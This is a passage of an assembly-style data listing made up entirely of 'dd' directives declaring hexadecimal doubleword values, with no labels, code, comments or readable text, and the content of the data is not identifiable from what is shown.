0FBAAB2A7h dd 2C0233F0h, 0FD6B5BEh, 45CE5483h, 3AB31261h, 41C2376h dd 99A3CE88h, 0C278200Ah, 0DA638B2Bh, 44083588h, 2974F1B5h dd 0FC90B8B8h, 9D385058h, 52B16927h, 853862C4h, 6BA7452Dh dd 8F04F6BDh, 5FC7BCDDh, 0A3B757C1h, 0D722CC4Ch, 6C9ABE2Bh dd 0F8C06CCDh, 562A4FF3h, 318A618Bh, 0F2947479h, 0FBA679D2h dd 0F798AF86h, 7D331524h, 6DA58068h, 0BEB2C077h, 56C47263h dd 89251E29h, 80452C6Dh, 7C333597h, 0C6E6073Fh, 8119BABCh dd 25585F6Dh, 0F2CC3367h, 0E085301Dh, 30A94700h, 3829DE87h dd 8FF853B8h, 0EA4F2A25h, 89F9B069h, 29EF0B39h, 792C259Dh dd 1F43E9BEh, 5F3117E2h, 906F20E0h, 0E9410A86h, 965E4686h dd 0C01ADE2Bh, 0C670F1ABh, 0A9B52501h, 0BD03EDC0h, 3DB226E8h dd 7E6E604Ah, 22F12D00h, 1A7ED09Ch, 0EAA20626h, 1D1E8508h dd 413A65C7h, 58DC5BFDh, 7BEA2C1Bh, 44F6A306h, 391F09E9h dd 0B801A6CFh, 0E3D1C8A0h, 96F97A1Dh, 0C71FF700h, 2740F37Ch dd 6E1F4FB8h, 0D304EE83h, 5BB66120h, 57E343E0h, 0CEA6C0Fh dd 40BDC9F0h, 8010652Ah, 611607EBh, 0BFCFE99Dh, 20C01BC8h dd 1C62B4CBh, 4B1C4FE8h, 1A378DB1h, 81761789h, 0A750CB1Dh dd 0B500FE33h, 79032EBDh, 390070AAh, 2FA40F0h, 0F4753DA4h dd 35512D84h, 1345BE82h, 0C100D40Ah, 9104BEBh, 3C2F0F0Eh dd 0DA001AC5h, 0D41CA4ACh, 0B85CD238h, 34CE03E4h, 0A81BF531h dd 7929B327h, 0DD5B03D1h, 17E62AC7h, 0A1DFE7E7h, 0C2A6DB67h dd 2800019Fh, 0D427E641h, 0C372067Dh, 1A0D52E9h, 5FA0B32Fh dd 154FB5B9h, 500CB4EBh, 9A0053E2h, 6936C468h, 167A2AB8h dd 208B0FF5h, 56E2819Eh, 4B123D0Bh, 99E3DD5Bh, 0B9D3B984h dd 0FC83253Dh, 898004C2h, 47BAFDB5h, 10C08B31h, 0FC7B2C71h dd 8613ACC8h, 8D80D07Ch, 0B3402F9Dh, 4502B477h, 0C91A0911h dd 272819B2h, 96CE1D20h, 45314E5h, 2F559D31h, 0E8858D00h dd 26FD491Eh, 0A0A8F3AEh, 0FD090161h, 2F5075DCh, 0A05F900Eh dd 192DD629h, 60150086h, 0FFC98064h, 0E2775B53h, 0D0883A00h dd 50D108EAh, 905A2E56h, 0FF01DEDDh, 6C12430Ah, 0F28A1DD7h dd 11712105h, 860F12A5h, 95331020h, 588BAB61h, 4112347Ch dd 4050591h, 0F7B6EF24h, 0A3410FB2h, 9DAB60BEh, 0F50CCD02h dd 62B595FFh, 26F3FDAFh, 0FCCC270h, 750FBFBDh, 0A7B398C0h dd 79499589h, 0E1810030h, 1B6AA2D1h, 3143CC8Bh, 98B925E0h dd 4BF3D014h, 72C56C9Bh, 0FA51C3DBh, 0B2086128h, 60B239BCh dd 19911FE4h, 0D75BC680h, 484B8642h, 26A09187h, 58C28B49h dd 0C5355061h, 3D8704EDh, 2210CC07h, 0B725E6B6h, 3BF33EE4h dd 95078ABFh, 700F6025h, 0DFFFBBCFh, 610BD117h, 6D688DEAh dd 24CB87Fh, 39036E15h, 9E8EB991h, 7DE8C5B9h, 0A7D2001Eh dd 5250D49Ah, 0FB417B2h, 0EAD0EE31h, 281957h, 3CA4E3E2h dd 0D02ADD7h, 8E585A32h, 0FD2709h, 89993459h, 7867FE07h dd 1099D08Bh, 1F69BF0Bh, 3839980Dh, 0B814663Ch, 602D5E4Ch dd 77097C10h, 32FC3703h, 9616873h, 5659DE2h, 0D5207CDAh dd 0CCE94C09h, 950D6E80h, 80116F6h, 32DB08Dh, 0C220C046h dd 487824B6h, 16467681h, 5D6A702h, 106DD0FFh, 38BD47E0h dd 7A35006Ch, 0EC08BBF6h, 5D903729h, 8B2427A4h, 311F2FF9h dd 8370BDE1h, 0D50DD4FFh, 23096FF6h, 9F6F1C16h, 0E6C980D6h dd 8B7663D8h, 80718D27h, 3BE682Ch, 0B3250950h, 498E8138h dd 64BFB222h, 0FAFAFDh, 494FBBDBh, 0E80F7CA3h, 3E4B25Ch dd 0AA89CD48h, 0C9B414A0h, 0F6A4D911h, 9278E02Dh, 73B92932h dd 47ED4BE8h, 0C002BE40h, 0EBE80E2Eh, 0A7358D89h, 9226F141h dd 0D69BD0F0h, 0B661D101h, 17DDA053h, 30F22430h, 0E90A895Ch dd 0F9A2F6E4h, 63FDF112h, 72474A47h, 640D6C6h, 0F7860269h dd 0B4EF2B13h, 0D5BF1704h, 80D68463h, 9B94569Ch, 1AA09A00h dd 4DCF6108h, 148F7605h, 2206890Fh, 0E0298D1Dh, 92295B49h dd 73915C1h, 0D6306800h, 66B97D0Fh, 81C740BBh, 0EE092434h dd 686D5C62h, 48C18E8h, 0F62DF557h, 200C999Eh, 0D6791B4h dd 0C2C98D0Dh, 11F83743h, 0C2F78117h, 60DADBB4h, 0D02B5D7Eh dd 0FC28F8F9h, 4CB584CAh, 0A505966h, 0B7014809h, 6D6CA2h dd 3FE4CBE0h, 0E61103DEh, 0CEB966F0h, 5DB068C3h, 85985EA7h dd 0B5595B24h, 4912938Fh, 0C0036D7Ch, 0EB7225Ah, 0FCA6EA0Ch dd 0BFDED213h, 32C7F5Eh, 715300F6h, 959EA0BEh, 0D1EE9CB9h dd 0E6175BE8h, 89EB77ECh, 1D206BDAh, 0FD4C24B4h, 145104C8h dd 0C1C29FB5h, 0AF1C5F72h, 21C15621h, 0D422E562h, 13977CBFh dd 716F04h, 68BBC015h, 503470E7h, 4995B221h, 6B7B607Bh dd 42CD1660h, 37387EC0h, 640D00B7h, 68D18A5Fh, 312C8BFBh dd 0DA06E72Fh, 0CF6B351Ah, 80833018h, 7040E6E2h, 0CCB8CBC9h dd 55B6CD7Ch, 0E0FED999h, 0AD9E8114h, 88D8491Dh, 1333510h dd 96BE8968h, 24CFEDE4h, 415C771Ah, 0B06846C0h, 3C8C5B2h dd 0AFB719DCh, 0B08D9509h, 3112608Fh, 0CB400D9Dh, 8B5061F5h dd 255394DFh, 99C0714Dh, 778FCE5Ch, 34BC123Bh, 0CC1820E8h dd 3C01863Eh, 652915B9h, 0FAA72A98h, 6A5B4120h, 3790F50Bh dd 7795AD52h, 13A83096h, 0D10D44h, 9423EF63h, 1317C8B6h dd 0BFA89A0Ah, 0F80DB780h, 1878C559h, 2B8DC580h, 6500DAE1h dd 535FBBCBh, 5131D63Bh, 0D532D763h, 16A6E5Bh, 6A7B1FBBh dd 8602FB2h, 61D92FEAh, 14124504h, 13B11085h, 0B7B58D08h dd 7D20F7AFh, 75664AE0h, 6325A518h, 801811FAh, 0D8C69659h dd 780850C8h, 0DCFD9EF9h, 55079B09h, 404A2990h, 21F7BB4Eh dd 0C2A4597Fh, 209A0AD6h, 8D6751C8h, 0C470226Eh, 49B08A33h dd 0C2AD8E9Eh, 219466A3h, 8B0B1B8Ch, 3F4CFF15h, 597BC400h dd 903A1CEDh, 0A0090065h, 9A9D24F3h, 0ECB06C92h, 0D6EEDEBFh dd 842DF03Ah, 299D8D33h, 88B58B04h, 8537C7D3h, 0CF0B0DD8h dd 91DB60D3h, 8018D18Bh, 84E8207Eh, 0C989BDF6h, 0D980D837h dd 3B3AC915h, 0B6C8099Fh, 0DD098E64h, 8D2003F0h, 0BBB21E31h dd 0CB818061h, 306EA741h, 205E46FCh, 18631D05h, 4F822194h dd 839D29DCh, 9A801B11h, 0A5C46D28h, 0AAC09E16h, 13D1B304h dd 0A82DE904h, 8C18F819h, 52B3551Fh, 48BFA640h, 960CCCC8h dd 14012A6h, 80FD1560h, 0F2A57438h, 17246BBCh, 86DAF860h dd 0DBD10090h, 8AA75889h, 0C458542Ah, 5BFF0644h, 0BF2D27E9h dd 1D65DFCh, 0D4BA6670h, 7089482Ah, 28831EE1h, 68F85C96h dd 0DEAF3177h, 0E4914A00h, 2DA9DA9Dh, 0C8604A22h, 4E040DC1h dd 8F52941Fh, 3355B481h, 7E206103h, 4BC3E92Fh, 81F49B02h dd 38530E1Eh, 27012560h, 0FE013DB5h, 10DC853Bh, 0AA7E830Fh dd 0C92F80BDh, 90401230h, 135D272Dh, 1EE4B021h, 65841149h dd 0EFE0AC27h, 0BB04507Bh, 1D5E4EA6h, 0EE8061D4h, 4F3B1E77h dd 0DB1E5703h, 7AF2D3DBh, 1B356A12h, 0CC3782AEh, 0D89526C6h dd 418989A0h, 50AE2328h, 8E4B184Dh, 158863CEh, 0BAE934C0h dd 0AB881792h, 94F21376h, 62FCE1B4h, 65C84AA6h, 36F7005Bh dd 5F57FC4Ah, 152825DFh dd 0D202C70Dh, 0B591D1Bh, 529241C0h, 20D333A8h, 6164119Dh dd 7CD8DFBAh, 16718A01h, 6E2B9400h, 166C7B9h, 0D823D3E8h dd 0AD8EE9A0h, 0C06ECD21h, 93C11113h, 0FB1ED271h, 22178531h dd 2CF64B24h, 3CAEAAE1h, 2DCC803Ah, 5C4A1827h, 0C609DF8Eh dd 0C91F011Ch, 0FA851511h, 79A3E047h, 31529A04h, 2BB091BDh dd 48CF905Ah, 290986FDh, 4060E19Dh, 7B054D68h, 12E9EC98h dd 23B49820h, 3B6900CBh, 733714A4h, 510EE9DFh, 7AF58060h dd 0B36C8782h, 6D136852h, 64DCE021h, 34244D4Ch, 0BC30596Dh dd 0A1C6EEEBh, 5682CFFBh, 6EFDB9BFh, 8466AAC2h, 80D12A0h dd 21758782h, 25422878h, 0D14F0269h, 6A46BD40h, 188725Fh dd 5CF6ABC6h, 238BF7B3h, 2DF44841h, 0B07A43D0h, 245CB131h dd 0AFF6585Ah, 8D4F98DFh, 80074041h, 18E5EA2Fh, 0CF595041h dd 4A5A8A47h, 2062D940h, 207B27AAh, 62AF4B70h, 2BB57E82h dd 0D8AC0CF3h, 5B75085h, 9809337Ah, 67510839h, 315FB01h dd 0CFF1A92Eh, 585EFD8h, 0F61E81DAh, 0BDCE0489h, 9D600A20h dd 8439821Bh, 156D58D1h, 0C6FE6102h, 2FE73CB5h, 9135A7E2h dd 97A6D2A6h, 0D43764E1h, 1050B369h, 84BACEB9h, 514BA0BCh dd 0D38E008Ch, 585F0F49h, 3458AE6h, 0C2D23540h, 6E3BE108h dd 933E2FB5h, 0D3DBC04Eh, 0F2EE0004h, 6D9EA873h, 8A0083EAh dd 0C757B43Eh, 0AB97BE4h, 5319501h, 1F601354h, 1310187Fh dd 18557DBDh, 0F72C42D5h, 825B3729h, 8D0F3FF9h, 0BD139A46h dd 0D0920DA5h, 0E9024849h, 6023C075h, 0A8D88C66h, 352504B5h dd 0FE016A45h, 0B608BBF6h, 4EB14878h, 0C7813099h, 0CEFC1FEh dd 43C8D68h, 2C8C020h, 0BD0DF457h, 205BFD0Ah, 32E92F1Ah dd 0B2716FDh, 0A9C530DFh, 3F1E2F42h, 0EA1657Ch, 50D98C21h dd 68057C6Ah, 3126E56h, 0E0C1C361h, 5BDE60BAh, 5A7700DCh dd 2D1A5F6Ch, 714CEE55h, 0B9F13409h, 0DE81ED00h, 4A2AD79Fh dd 5DF27Eh, 0F345E1FCh, 5B63Bh, 0A06C15FAh, 2DABB33Ch dd 0F5025C2Fh, 3890FF1Dh, 0BF9AFED7h, 0B850388Fh, 79851229h dd 0A071F730h, 0C202D67h, 58B0FE5h, 0D70DBE1Bh, 0CE753406h dd 62B8462Dh, 30B09F51h, 0E839E671h, 42D8277Eh, 0DC52743Ah dd 4EA3130Eh, 0D886C0D5h, 5669B2Dh, 8B0771BFh, 2EF89B5h dd 0A9A99599h, 91706B73h, 59AA0028h, 660B9E1Eh, 5418D5B9h dd 0B1BF79E8h, 0FABF067Bh, 7057260Ch, 9384614Ah, 8E006C6Bh dd 23A5833Bh, 6C24A74Ah, 0E804D51Ah, 8DE90841h, 7000F4E8h dd 0B43AC883h, 9FA32A73h, 0BD893C18h, 99139D29h, 0DB30F509h dd 0CD62000Bh, 1D3977ABh, 290D0C05h, 0AC4B3DB5h, 2E6B585Fh dd 89EDEFE8h, 0F986F28Bh, 295B4EFAh, 5DB67D85h, 5CED99E0h dd 815BC200h, 4895A5EEh, 0B9E82875h, 15B51436h, 31265E2Ah dd 0E637AD1Fh, 49099C01h, 0ACF47915h, 78C698C8h, 7FE880C1h dd 0A87A074Ah, 19038E04h, 5E94E88Ch, 84242420h, 4AAA009Bh dd 5D2F2338h, 5901824Bh, 2895586h, 0F745051h, 0C6EE8309h dd 1281851Ah, 0A87A99h, 75086E98h, 2764797h, 0DC104838h dd 23A024C7h, 1DE85F06h, 375595C4h, 8BE3245Bh, 225B3005h dd 10B7DD0h, 0EE17FD05h, 51BD8D89h, 25CFE8D9h, 576E6F49h dd 4123671Fh, 0FCF1C7EFh, 0ADAA9E1Fh, 47626FAFh, 0F4A1E0B7h dd 0D748C5EBh, 6DA16900h, 47B6C21Eh, 81A31855h, 0F1FE0FE1h dd 868B25F8h, 0BF062AF1h, 20C09FF9h, 95EC1EA9h, 94262D2Ah dd 0BC433B45h, 402871F1h, 0BC90562Ch, 28F543F5h, 22F82732h dd 9E8670CDh, 3D01DCCBh, 0E8F9C9CFh, 55C205FDh, 0DC60D4h dd 0B5C90613h, 0AD340D87h, 5A3DBE1Dh, 0C5A40358h, 0F12C9111h dd 1FBD181Dh, 0D254FDB0h, 48DBFDD0h, 409D380Fh, 59F26E8h dd 6300F6A2h, 2CAD3158h, 9D64CB70h, 0B5FDBB86h, 22EDC0C7h dd 78925B69h, 9301A8CEh, 1D3F9CBh, 16CF7DBDh, 9E0543B9h dd 0F5348584h, 5D627A8h, 610F113h, 6924715Bh, 0BFD10F45h dd 559D072Bh, 0E373E92Ch, 9C0767Ah, 6E29E3E8h, 0F7801837h dd 6E64964Ch, 0D2EA925Ch, 8A089BBDh, 0B519DB29h, 3733B0D9h dd 3E301BB2h, 9AFC025Fh, 1C6B0B5Bh, 0DAD96DE0h, 0FC844D5Fh dd 1723762Eh, 2D158939h, 0FEC6D496h, 341600Eh, 0CB8B28Bh dd 7E33E1D7h, 0F9B2D13h, 0BF850280h, 4200F787h, 0DDFAFD66h dd 5C52EB8Ah, 1220BB23h, 0D82B5F17h, 93BB88FFh, 504B07B8h dd 0DC82F922h, 7252BFBFh, 6C301BE2h, 2FCE2F4h, 769D6859h dd 0A0FCCF8Bh, 13D69DE8h, 9FF5BAEh, 14D249B8h, 0F8D5B525h dd 565AFD00h, 0A57C0DEh, 0FE67542Bh, 958DB50Bh, 7C70E27Dh dd 732B4374h, 6F67BB88h, 30159602h, 0FE030BD3h, 60590F80h dd 9F3935C1h, 0FA14827Bh, 0B51A8961h, 8294804Ah, 316DAFFCh dd 819CA800h, 0E455B8F1h, 28919E17h, 8309E6B7h, 360442B1h dd 8039F041h, 0F68462CDh, 44090311h, 8ECF00B7h, 0AFE2BC20h dd 900ACB3h, 12E86F39h, 693ADC53h, 38B7E450h, 0F3992E80h dd 0EE492FCFh, 6FC7D308h, 0BDE02E0h, 75A99D31h, 0D2CF9026h dd 4285B55Eh, 99B81AB9h, 53E0DA69h, 5BF70EDh, 19733903h dd 0C04EA61Ch, 0FF6871E9h, 780676Ch, 53A0A997h, 357A6A00h dd 0ECD01A98h, 0DC9A0A5Fh, 418C4BB3h, 0EDD58060h, 0A0D8B861h dd 4DF87F2Ch, 64BC681Ah, 9F623507h, 3F16BE66h, 0DDB79D69h dd 0C6439E00h, 4A610537h, 1423B0A2h, 80BFA193h, 13F0622Ch dd 17C7FF9Dh, 0C0A5479Ch, 0BF4AC17Fh, 29DC5F62h, 0D0D25B10h dd 33036993h, 8CF1AFD0h, 8D72AFF3h, 1D1F5E55h, 0F1499223h dd 0C79D1EB0h, 0DF5233Fh, 2DB69952h, 68386E0h, 4BF9B958h dd 0A0F8A7A4h, 0BF0AF180h, 0A00AFBDh, 4267785Dh, 0F7D73476h dd 0B832EDE6h, 25BC7C02h, 0D1428BD8h, 0F5D72958h, 48E034F6h dd 0D7027F84h, 0B40E39B6h, 857FE1E7h, 0FE745B3Bh, 91F333A2h dd 0E2BDEAD0h, 82D400E6h, 1A0AC4BCh, 890EE981h, 9E1CE292h dd 70F0D325h, 5415BC72h, 5D8182C6h, 150B854h, 0EB417897h dd 0E56522F0h, 1DF689FCh, 4BE81A04h, 886658F0h, 0D245110h dd 4F02800Fh, 0B7E9C8F0h, 0D95CA529h, 9616E80Dh, 0C76BAF2Ah dd 3C77D803h, 0C2E1D538h, 485AD79Bh, 3C80219Bh, 0DA20BCFEh dd 4CC85E4Bh, 0F0F87EC7h, 866601DDh, 4038B94h, 0A9B7E81Eh dd 0A97A6CD6h, 74248238h, 891512A5h, 606B61F3h, 1140793Ah dd 785B93C3h, 0FF007357h, 0D913ACDDh, 498AE187h, 7FBD00C5h dd 5C0FC028h, 0BF81BC8Ch, 89AC8B63h, 0AF19BDF0h, 8CC02A54h dd 79173CDEh, 0B527B1C8h, 8E4F310Bh, 8D735549h, 0D30B3851h dd 9B803FDBh, 1A7A01C0h, 0F13795h, 0E205EEE1h, 5009911Eh dd 7A850FAAh, 0E310B56Bh, 284CD6D0h, 347104D4h, 20AF0BF1h dd 0F927B48Fh, 0FD0FB700h, 0E07DEEA9h, 106B0CFh, 4FF08E1Fh dd 445EB6B4h, 9875EBA7h, 800446Bh, 0C84C7151h, 0D00E8FDDh dd 49B5018Bh, 9198DC0Bh, 0EBE925F9h, 0E1AA80E5h, 4E5E2ABh dd 1E9A51E3h, 84F78699h, 33B7B7h, 0A415E232h, 7C70867Eh dd 545FAE26h, 0ACF20516h, 0D98D0109h, 8A0FBC22h, 0BB05A079h dd 870275B5h, 0CF493B22h, 57F640F4h, 0A80B60A9h, 0E1E382E5h dd 0AE1405B7h, 0B35E0206h, 4E71FE0Ah, 69DDE146h, 0C7B810h dd 60DCE1D5h, 9D8B22A5h, 5040A59Fh, 0F46EBA57h, 3BEC2C00h dd 0E522D59h, 8D89DF09h, 4009747Dh, 1F65BD09h, 55BF08A0h dd 153C8F0Fh, 0A9E9AB03h dd 69B2D6B2h, 5000E1D9h, 20C3E1D2h, 112E03DBh, 6817D796h dd 0C68D16B9h, 7BA20B77h, 6E337813h, 0E03DF100h, 0DD9D238Fh dd 0D18DC905h, 0DC127Eh, 8F9E7A0Dh, 0A54C3C8Bh, 0B5A45628h dd 4A1D914Dh, 0D7A09CAFh, 8A7A7FE1h, 7218BF07h, 4CCB305Eh dd 379D026Ah, 2C97007Ah, 13F33D42h, 3988564Bh, 0E4B70018h dd 3638C76Bh, 0E50034C5h, 333E4396h, 20BD293Fh, 904830A5h dd 721E098Ch, 80F95750h, 320CBF82h, 8EB75F90h, 0B3B8E02Fh dd 0A629D9Ah, 0EC911484h, 0B8F45D46h, 0FB4C034Ah, 92CF2037h dd 0FDF561Ch, 0EBED12D3h, 0EE1A56C0h, 0EF186128h, 2EE238D1h dd 0E95B094Ch, 0BFDE0DB2h, 823B2C58h, 30FDFB02h, 0B92083D2h dd 241B9011h, 1F5B8F6Dh, 5D9D4956h, 56406BE3h, 0B91CD43Dh dd 59CEF83Dh, 0BF902383h, 45E804Eh, 0BB600350h, 9A8E016h dd 8B6171B7h, 90A2CFCEh, 0F6700EDBh, 0CF5200D4h, 0BE6036B4h dd 1F092A45h, 5561FC69h, 46A4F2F9h, 0C44DEF02h, 0EB7E55F5h dd 0E074ED49h, 70348A31h, 0EAF04309h, 0E1C38228h, 7DDE0924h dd 0CD796A67h, 69B7C062h, 9D00586Fh, 0BBA92DA6h, 57955F7h dd 95B5FF74h, 0A05CE704h, 90CCE76Bh, 0F9E5240Ch, 2CE9084Eh dd 621E273Ah, 40D67436h, 1726C598h, 0A4A3B100h, 0F2F669FCh dd 88874A0Fh, 29448D95h, 0FEB0705Fh, 200FA48Ah, 0AFB00BE9h dd 27204120h, 41C370E6h, 2A1603FDh, 940E1F09h, 0B371E403h dd 0D23156ADh, 0E0DE8B23h, 0E848C8B6h, 0D3FE807Eh, 71E5A79h dd 542A4D9h, 55E0AE8Eh, 69AC1311h, 0AD20864Fh, 7A38994h dd 2E54243Ch, 0D0CA1034h, 330532BCh, 5F0CFB73h, 0F50535B2h dd 8223C18Bh, 400B0207h, 1656BB18h, 0C0486662h, 0C82BFC1Dh dd 8B70B309h, 452082D1h, 4A0BFC05h, 842090ADh, 3B1F01A1h dd 0B7A535Ah, 6BE10794h, 0AC094502h, 3BDE0AD5h, 0E1185D0h dd 29D78100h, 0E9637B95h, 0E88424Eh, 0B3E695DFh, 18407A9Ch dd 7EA9240h, 28516132h, 3C99406Ah, 5809C6FAh, 5C1D12BAh dd 198488DDh, 26A5A8BCh, 0B1BFE48h, 4489BD21h, 0FBA0C6D6h dd 8DE031E9h, 0C42EB50Bh, 78B5FB48h, 80176A5Ah, 680AF4D7h dd 4CB596C5h, 808EEBB8h, 84B4D520h, 7DE8CCABh, 0ECF6FE4Bh dd 0E3301BB2h, 32AD0007h, 0BAD91CFAh, 6BF3F1B9h, 2A00807Ah dd 8C5BE5D3h, 0D2149A5Dh, 25B2DEF3h, 4637FCh, 74A53ABBh dd 0AF24F6BCh, 8B05E4C7h, 0C904FCDAh, 0A812078Dh, 0B49B93F5h dd 36F46682h, 94358089h, 2F801A11h, 0C9C7228Ah, 0F55E400h dd 33ADDBB7h, 4CD160C2h, 4E983D0h, 2BF4752Ch, 73084D09h dd 0B0DDD054h, 8C1C5D75h, 0D96FFCEh, 0E65ACCBDh, 0F1B1E0BEh dd 0DF74019Eh, 958BFCE0h, 0AA132E01h, 0D59D5F42h, 4414FC20h dd 0E8D4A903h, 0D5E59DD7h, 0DAEC5016h, 0C103180Dh, 58A5E308h dd 0F58199Dh, 89898148h, 91B68260h, 7FB30122h, 0E413361h dd 5D837EEBh, 0E7F97700h, 5C7467BAh, 1510EFF6h, 76835A02h dd 87B98460h, 3F91FCE8h, 1C4B8D9Ch, 0D0F8DB4Eh, 29008BCAh dd 0D48E7B43h, 0F1B24DAAh, 8007B160h, 0C5A0E1FFh, 0BD8821EDh dd 45224AC1h, 4D095D5Ch, 367FF36Dh, 48ACF09Ch, 402BA4EAh dd 0AD86E301h, 6D466092h, 3C184022h, 0C5C097D3h, 3038528h dd 4978860Fh, 0F3BCAB5Dh, 8560912Ch, 0BA835A60h, 5EE8000Bh dd 7D99336h, 0AD04B633h, 0B554412Bh, 6CF510EFh, 28C17B8h dd 77DD4009h, 1152890Fh, 0A5D0C4D3h, 0A805F57h, 0C90A04E1h dd 1BE21AA4h, 3770E953h, 965E02C8h, 4E94DB36h, 60951A7Fh dd 800589B3h, 0E9B58D09h, 75F03370h, 0F4FBB602h, 0ACD66C12h dd 0D1A1C702h, 3FDC01Ah, 25C2B567h, 5A05C884h, 82C95960h dd 5B5F5657h, 7468EEC0h, 0BD08B716h, 11F87030h, 0B500138h dd 1CA13CCEh, 0B0016BEEh, 43164C8Bh, 3B0FB638h, 76540FA6h dd 0AD10824Ch, 2BC85A2Eh, 0E0961F30h, 0FBEECBAEh, 0AD774182h dd 0BD0BD1C0h, 31C42D70h, 7AFF01B5h, 856B02C6h, 8648674Eh dd 9B636FB9h, 77FA7842h, 8B0D6E0Bh, 696E02F8h, 0AC70712h dd 0B5133E3Bh, 8DE4B8F9h, 26307373h, 810C40A5h, 9AAAE306h dd 30964686h, 0F71903C1h, 311EEA80h, 1027897Fh, 0F03420h dd 0FBF88F75h, 5DC9FE13h, 0BCE1350Eh, 2665D2ADh, 784DC082h dd 2C46F448h, 0B73FC04h, 574496DEh, 4C338500h, 122ECA72h dd 15BC0069h, 0FE74EFDEh, 0F60129A4h, 0F50C3B2h, 35BB0C85h dd 6068014h, 96448338h, 0C481EDB5h, 5193C167h, 44490730h dd 976D029Fh, 56F4466Fh, 37F571C0h, 73026A76h, 52867CCCh dd 733C259h, 0FF125F41h, 98EF92B5h, 72603159h, 80390FA0h dd 0F9809D94h, 3EC5EF81h, 685AB801h, 0C1FA111Ah, 73E56424h dd 9A20FDF2h, 8DBA248Ah, 3A1D694Bh, 0AF831611h, 0DBF08AA3h dd 0ED042374h, 820F9004h, 501FB320h, 0F03136F5h, 3C1BC55h dd 32394290h, 0BCC6B7AEh, 0BB63D924h, 0A1E204C9h, 0A80C75BAh dd 8A3CA3h, 0B3463410h, 49E8FC95h, 16481961h, 0C754E44Ah dd 0D8FD854Ch, 2CBD3341h, 480D231Dh, 6DA74995h, 2F6086Bh dd 232F22A2h, 442B159Dh, 0EA1F00C4h, 7D80185Dh, 973F6CD2h dd 9DB51960h, 369031EFh, 5B610424h, 3EA740E9h, 0E8803DB0h dd 0F9A37D50h, 2C502A40h, 1C5C0C30h, 0C101C344h, 0ED610E8h dd 0F84CEE81h, 27945803h, 36EBE786h, 6402EF36h, 190BF71Ch dd 2829501Bh, 661821A0h, 57011358h, 3FE11B84h, 73D85F92h dd 408070F8h, 0E998EA02h, 0C56EFA14h, 558504FEh, 36BF0004h dd 913E26B4h, 4436203h, 814C38DDh, 13070BCBh, 52646BFFh dd 5500BBEAh, 2824E06Ch, 9A7EFC7h, 0D514127Bh, 22CEF08h dd 8258501h, 0C94B77DAh, 3DB91284h, 7F01F4B8h, 0F141CC7h dd 882A9470h, 8002B1C3h, 248FD1DCh, 0F5EC60F9h, 305F8120h dd 10846BEDh, 350AC585h, 0C9ACA0C7h, 216E4Fh, 0A6B020B2h dd 0F3F89E1Ah, 8909A62Ch, 0A51D2434h, 42801911h, 741473BEh dd 0F1AC8D62h, 0C9AA080Ch, 9771D2D3h, 2898C54h, 0D9611821h dd 4051CD08h, 98ACF909h, 0D90B2E90h, 7A21BD03h, 0ED8516DEh dd 2793A614h, 40147930h, 0CA99BD9h, 0C4869AC6h, 61928A2Bh dd 2944A127h, 0BB2D8DA1h, 417320E8h, 0CD99C004h, 0AA79D0h dd 83AED1FBh, 0EFAD04C2h, 0F51E9EE1h, 0B02E82C8h, 0DAB737AFh dd 0DB20E4CCh, 0F85FC094h, 0DC890FABh, 1600117h, 7A2B7DB5h dd 0C1567D20h, 14648748h, 0B8B70B74h, 9EF693DCh, 2589CE68h dd 78AFDB5Fh, 0BB02E1DAh, 0FDF02C2Dh, 0E56B4014h, 53258707h dd 0F8EE5199h, 86B0842Eh, 316093B6h, 9503298Dh, 95DFB124h dd 4D3C05CBh, 1A3F291Eh, 1F0C9B6h, 917EDF35h, 207D7E8Bh dd 41D08B7Bh, 698D04E3h, 0C0C2D865h, 451955CFh, 824D7084h dd 1CB16D60h, 16BF9680h, 0E940D56Bh, 880F1F98h, 3111C322h dd 806585Ah, 983ABB66h, 35965910h, 9E0122BCh, 0CD4D867h dd 2A30E03Ah, 0E81E5785h, 3A3114A2h, 2F2DA441h, 9129B006h dd 9042C43h, 1DC97D9Dh, 0B4E7D9D9h, 0D276EDAEh, 0C4803F9Ah dd 0CF1BCDD2h, 0F780600Eh, 0CCC862FEh, 1DC68261h, 0B020430h dd 498BF9Eh, 0AE32EB3Bh, 23B8DC20h, 930A00AFh, 9F7F42Dh dd 0F524D102h, 0D3023087h, 605F8CCFh, 8301C1C3h, 58F71809h dd 51C88554h, 0B8AD9853h, 7F00A8B8h, 9D1D106Bh, 0A0391619h dd 802CB9ACh, 534AF380h, 0AB7603E1h, 0C2E110E7h, 7D37BD29h dd 36B05512h, 95A985C7h dd 82C81ADFh, 0D9D6Eh, 0FFF37CE9h, 0CFB35BE3h, 51AFA972h dd 58C9006Dh, 4D7893E7h, 5D90EAF4h, 5B079920h, 5E93E35Fh dd 4D7668B3h, 9EBCA3C1h, 74CD751Fh, 6E5C3900h, 2FBD8924h dd 66A22F69h, 0DE572355h, 0D1B16753h, 2F6DEA4Fh, 70A93C74h dd 32026EA8h, 0C63B633Dh, 0D84FE97Fh, 9B7B162Eh, 0D09A8191h dd 38C88D6Ch, 94615065h, 0BF1C4081h, 0AE346809h, 60132562h dd 0DFDF904h, 0CA0008B6h, 54E352E0h, 9917AB9Fh, 25F95916h dd 25F55062h, 1058008h, 3BAD494Bh, 6D26DDBCh, 9102D067h dd 5E343F8Eh, 0E7372D25h, 53F76E00h, 0BF4DB613h, 839A70E3h dd 95425354h, 90E7A061h, 7250ABB3h, 3C19B60h, 2B3EBE5Eh dd 906130F8h, 13E5B795h, 0D463BCE6h, 12E12F23h, 0E7A0CD7Bh dd 0B0A0CED5h, 0C67BBBE7h, 89B5290Ah, 0C6252B12h, 0B0600954h dd 63798B16h, 4BF36112h, 9AD1E87Dh, 0E3800FCAh, 6F12FF74h dd 474E0038h, 5C65B577h, 8B5216DAh, 160A04DEh, 0A42BBC4Ch dd 975B62F5h, 0AA8D8AC0h, 0CD0965CCh, 0FB026AE4h, 6A607065h dd 3B646900h, 30D21911h, 8B0F2856h, 0DCC39723h, 0BB900401h dd 7D8E13BFh, 35DD1525h, 904EE6E8h, 40299E1Ah, 1C9A1F94h dd 0CC1D7900h, 7C3C9B46h, 60541296h, 902E0BADh, 29105BFCh dd 66808559h, 0E9B579BFh, 0DF8EDB4Bh, 44B0B10h, 1275BD2Bh dd 1E4D8D42h, 7002BB14h, 0A4027D4Ah, 95319026h, 4B06982h dd 457F812h, 500232CBh, 0B97A8C0Fh, 485E5348h, 0F16D5659h dd 65CC1480h, 0BFB2005Ah, 1BCB81AAh, 55ACF7Dh, 5D00A7A2h dd 35780F2h, 0E2252AF0h, 0BF00E69Dh, 4AE1EEEDh, 138710E9h dd 3023061Dh, 0E617653Eh, 4702AE74h, 8395C814h, 0CA2B5E9Fh 